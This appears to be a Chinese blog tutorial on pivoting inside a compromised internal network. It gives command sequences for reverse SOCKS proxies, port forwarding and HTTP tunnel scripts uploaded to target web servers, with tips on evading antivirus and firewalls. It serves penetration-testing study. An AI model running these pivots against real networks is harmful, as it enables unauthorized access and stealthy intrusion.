內網入口——代理搭建&埠轉發

Captain_RB發表於2020-12-19

在內網滲透過程中經常會遇到搭建代理和埠轉發的情況,本文記錄一些常用工具的使用方法,便於查閱,其應用場景並沒有全部例舉,學習重在領會原理,使用時融會貫通,而不是套固定模式。

代理搭建&埠轉發

在內網主機上搭建代理是為了以內網主機為跳板,間接訪問內網,從而可以對內網進行掃描、訪問等操作;而埠轉發僅是針對具體埠提供的服務,一般是為了繞過防火牆在傳輸層設定的訪問規則,比如將12345埠轉發到3389埠,那麼遠端桌面訪問12345埠就相當於訪問3389埠。

代理搭建後,在外網主機上要配置代理,Windows上用Proxyfier,Linux上用Proxychains,瀏覽器最好用外掛,方法都很簡單,這裡不作介紹,要注意的是目前這些代理都不支援ICMP協議,比如ping是無法經過代理的。

1.EW

(1)介紹

經典的內網穿透工具,具有 SOCKS5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。

已停止更新,而且很多查殺軟體已經將EW指紋加入特徵庫,不做免殺處理的話一經上傳即被秒殺,所以推薦使用Venom,更加強大靈活,而且至少目前對大部分查殺軟體還是免殺的。

傳送門:http://rootkiter.com/EarthWorm/

(2)使用

(版本:free1.2)

命令格式:ew [options] [values]

options包括ssocksd,rcsocks,rssocks,lcx_listen,lcx_tran,lcx_slave,直接輸入命令進行查詢:

 ./xxx ([-options] [values])*
 options :
 Eg: ./xxx -s ssocksd -h
 -s state setup the function.You can pick one from the following options:
 ssocksd , rcsocks , rssocks , lcx_listen , lcx_tran , lcx_slave
 -l listenport open a port for the service startup.
 -d refhost set the reflection host address.
 -e refport set the reflection port.
 -f connhost set the connect host address.
 -g connport set the connect port.
 -h help show the help text, By adding the -s parameter, you can also see the more detailed help.
 -a about show the about pages
 -v version show the version.             
 -t usectime set the milliseconds for timeout. The default value is 1000
 ......

具體區分如下:

正向代理:ssocksd

在外網主機可以訪問內網主機的情況下,利用正向連線搭建代理進入內網:

# 在內網主機(10.1.1.1/1.1.1.2)上搭建代理,監聽12345埠
ew_for_Win.exe -s ssocksd -l 12345

然後在外網主機上設定代理為:socks5 1.1.1.2 12345。

反向代理:rcsocks,rssocks

在外網主機無法訪問內網主機,但是內網主機可以訪問到外網主機的情況下,利用反向連線搭建代理進入內網:

# 先在外網主機(1.1.1.1)上監聽12345和8888埠
# 等待目標連線,將12345埠的流量轉發到本地8888埠
ew_for_Win.exe -s rcsocks -l 12345 -e 8888

# 然後內網主機和外網主機8888埠建立連線
# 此時訪問外網主機的12345埠相當於訪問內網主機的8888埠
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 8888

最後在外網主機上設定代理為:socks5 127.0.0.1 12345。

正向代理+埠轉發:ssocksd+lcx_tran

如果內網主機A不可以訪問內網,內網主機B可以訪問內網,但是內網主機B只能從內網主機A訪問,且外網主機可以訪問內網主機A,此時可在內網主機A、B做正向代理+埠轉發進入內網:

# 內網主機B(10.1.1.2)監聽8888埠
ew_for_Win.exe -s ssocksd -l 8888

# 內網主機A(10.1.1.1/1.1.1.2)將本地12345埠的流量轉發到內網主機B的8888埠
ew_for_Win.exe -s lcx_tran -l 12345 -f 10.1.1.2 -g 8888

最後在外網主機設定代理為:socks5 1.1.1.2 12345。

反向代理+埠轉發:ssocksd+lcx_listen+lcx_slave

情況同上,也可在內網主機A、B做反向代理+埠轉發進入內網,區別是在外網主機上開代理,隱蔽性更好些:

# 內網主機B(10.1.1.2)監聽8888埠
ew_for_Win.exe -s ssocksd -l 8888

# 外網主機(1.1.1.1)監聽12345和9999埠
# 等待目標連線,將12345埠流量轉發到本地9999埠
ew_for_Win.exe -s lcx_listen -l 12345 -e 9999

# 內網主機A(10.1.1.1)連線外網主機的9999埠和內網主機B的8888埠
# 隧道連線後,相當於將內網主機B的8888埠對映到外網主機的12345埠
ew_for_Win.exe -s lcx_slave -d 1.1.1.1 -e 9999 -f 10.1.1.2 -g 8888

最後在外網主機設定代理為:socks5 127.0.0.1 12345。

2.Venom

(1)介紹

Go開發的多級代理工具,可將多個節點進行連線,然後以節點為跳板,構建多級代理,可以輕鬆地將網路流量代理到多層內網,並管理代理節點。

分為admin(管理端)和agent(受控節點),兩者都可以開啟監聽,然後由另一端發起連線,由admin負責管理所有agent節點,支援跨平臺Linux/Windows/MacOS。

傳送門:https://github.com/Dliv3/Venom

(2)使用

(版本:v1.1.0)

步驟一:開啟監聽,建立連線

admin和agent都可以監聽連線也可發起連線,這一點尤為重要,在防火牆單向流量規則限制時可以靈活處置。可通過-passwd指定密碼,該密碼用於生成AES加密所需的金鑰,對通訊流量進行加密。

# admin監聽埠,agent主動連線
admin -lport 12345 -passwd P@ssw0rd
agent -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd

# agent監聽埠,admin主動連線
agent -lport 12345 -passwd P@ssw0rd
admin -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd

agent節點支援埠複用功能,可通過埠複用增強隱蔽性,繞過防火牆規則等,在windows上可以複用apache、mysql等服務的埠,但目前還無法複用RDP、IIS等服務埠,在linux上可以複用多數服務埠,被複用的埠仍可正常對外提供其原有服務。

# 複用apache 80埠,不影響apache提供正常的http服務
# -lhost值為本機ip,不能寫0.0.0.0,否則無法進行埠複用
agent -lhost 10.1.1.1 -reuse-port 80 -passwd P@ssw0rd
admin -rport 80 -rhost 10.1.1.1 -passwd P@ssw0rd

步驟二:管理節點,搭建代理

連線建立後由admin節點管理所有agent節點,在admin節點可用help命令查詢:

(admin node) >>> help

  help                                     Help information.
  exit                                     Exit.
  show                                     Display network topology.
  getdes                                   View description of the target node.
  setdes     [info]                        Add a description to the target node.
  goto       [id]                          Select id as the target node.
  listen     [lport]                       Listen on a port on the target node.
  connect    [rhost] [rport]               Connect to a new node through the target node.
  sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
  shell                                    Start an interactive shell on the target node.
  upload     [local_file]  [remote_file]   Upload files to the target node.
  download   [remote_file]  [local_file]   Download files from the target node.
  socks      [lport]                       Start a socks5 server.
  lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
  rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

listen [port]connect [rhost] [rport]命令用於節點間互連,有兩種方式:

方式1:先在node1節點開啟埠監聽,然後node2節點用agent連線

# 先在node1節點監聽56789埠
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
(node 1) >>> listen 56789
listen 56789
the port 56789 is successfully listening on the remote node!

# 然後在node2執行agent,連線node1
agent -rhost 10.1.1.2 -rport 56789 -passwd P@ssw0rd

方式2:先在node2節點執行agent開啟埠監聽,然後node1節點connect命令連線

# 先在node2節點執行agent開啟埠監聽
agent -lport 56789 -passwd P@ssw0rd

# 然後node1節點connect連線
(node 1) >>> connect 10.1.1.3 56789
connect to 10.1.1.2 56789
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
     + -- 2

socks <port>命令用於在admin節點開啟偵聽埠,建立到agent節點的socks5代理

(node 1) >>> socks 7878
a socks5 proxy of the target node has started up on the local port 7878.

lforward [lhost] [sport] [dport]將本地admin埠sport轉發到遠端agent埠dport

# 將本地admin的80埠對映到遠端agent的12580埠
# 訪問agent的12580埠相當於訪問admin的80埠
(node 1) >>> goto 2
(node 2) >>> lforward 10.1.1.1 80 12580

rforward [rhost] [sport] [dport]將遠端agent埠sport轉發到本地admin埠dport

# 將遠端agent的80埠對映到本地admin的12580埠
# 訪問admin的12580埠相當於訪問agent的80埠
(node 2) >>> rforward 10.1.1.3 80 12580

3.LCX

(1)介紹

經典的內網埠轉發工具,具有埠轉發和埠對映的功能,通常用於將內網主機開放的內部埠對映到外網主機任意埠,很多查殺工具已經將其加入特徵庫,上傳需要做免殺。

傳送門:https://github.com/windworst/LCX

(2)使用

埠轉發(反向連線)

lcx -listen port1 port2:同時監聽本地port1埠和port2埠,當兩個客戶端主動連線上這兩個監聽埠之後,LCX負責這兩個埠間的資料轉發。

lcx -slave ip1:port1 ip2:port2:本地開始主動連線ip1:port1主機和ip2:port2主機,當連線成功之後,LCX負責這兩個主機之間的資料轉發。

建立反向連線,將內網主機埠轉發到外網主機埠,適用於內網主機能訪問外網主機,而外網主機不能訪問到內網主機的情況:

# 外網主機(1.1.1.1)先通過-listen監聽本地8888和12345埠
# 將12345埠的流量轉發給8888埠
lcx –listen 8888 12345

# 然後內網主機(10.1.1.1)通過-slave和外網主機建立連線
# 將8888埠流量轉發到外網主機(1.1.1.1)的9999埠
lcx –slave 1.1.1.1:8888 10.1.1.1:9999

這樣外網主機的12345埠就轉發到內網主機的9999埠了,訪問外網主機12345埠相當於訪問內網主機的9999埠。

埠對映(正向連線)

lcx -tran port1 ip:port2:本地開始監聽port1埠,當port1埠上接收到來自客戶端的主動連線之後,nb將主動連線ip:port2,並且負責port1埠和ip:port2之間的資料轉發。

建立正向連線,將外網主機埠轉發到內網主機埠,適用於外網主機可以訪問內網主機的情況:

# 外網主機(1.1.1.1)通過-tran監聽12345埠
# 將12345埠流量轉發到內網主機(10.1.1.1/1.1.1.2)的3389埠
lcx -tran 12345 1.1.1.2:3389

訪問外網主機的12345埠相當於訪問內網主機的3389埠。

或者將內網主機埠對映本地的其他埠:

# 內網主機(10.1.1.1)通過-tran監聽本地12345埠
# 將12345埠流量轉發到本地的3389埠
lcx -tran 12345 127.0.0.1:3389

訪問內網主機的12345埠,相當於訪問其3389埠。

4.NATBypass

(1)介紹

LCX在golang下的實現,更好的跨平臺,更完善的文件,免殺性更好。

傳送門:https://github.com/cw1997/NATBypass

(2)使用

(版本:v1.0.0)

與LCX完全相同

5.Neo-reGeorg

(1)介紹

SOCKS over HTTP,即通過HTTP隧道轉發SOCKS5,reGeorg的改良版。

傳送門:https://github.com/L-codes/Neo-reGeorg

(2)使用

(版本:v2.3.1)

在外網主機可以訪問內網主機的情況下,正向通過其進入內網。

在外網主機上生成用於搭建代理的隧道檔案:

python3 neoreg.py generate -k P@ssw0rd

生成多種型別的指令碼檔案,如下所示:

  [+] Create neoreg server files:
     => neoreg_servers/tunnel.ashx
     => neoreg_servers/tunnel.aspx
     => neoreg_servers/tunnel.jsp
     => neoreg_servers/tunnel_compatibility.jsp
     => neoreg_servers/tunnel.jspx
     => neoreg_servers/tunnel_compatibility.jspx
     => neoreg_servers/tunnel.php

將指令碼檔案上傳至內網主機網站可以訪問的頁面,然後在外網主機建立隧道,自動監聽本地1080埠:

python3 neoreg.py -k P@ssw0rd -u http://1.1.1.2/tunnel.php

最後在外網主機將代理設定為socks5 127.0.0.1 1080。

6.Netsh

(1)介紹

Windows系統中內建的用來檢視和配置計算機網路引數的命令列工具,可用於配置埠轉發。

(2)使用

在防火牆設定3389不能接入的條件下,利用埠轉發進行繞過。

檢視所有的埠轉發規則:

netsh interface portproxy show all

在內網主機上新增埠轉發規則:

# 在內網主機(10.1.1.1)上新增轉發規則
# 將本地12345埠的流量轉發到本地3389埠
# 注意不能講10.1.1.1寫成127.0.0.1
netsh interface portproxy add v4tov4 listenaddress=10.1.1.1 listenport=12345 connectaddress=10.1.1.1 connectport=3389

轉發規則不再使用後要刪除:

# 刪除指定的埠轉發規則
netsh interface portproxy delete v4tov4 listenport=12345 listenaddress=10.1.1.1

# 刪除所有的埠轉發規則
netsh interface portproxy reset

相關文章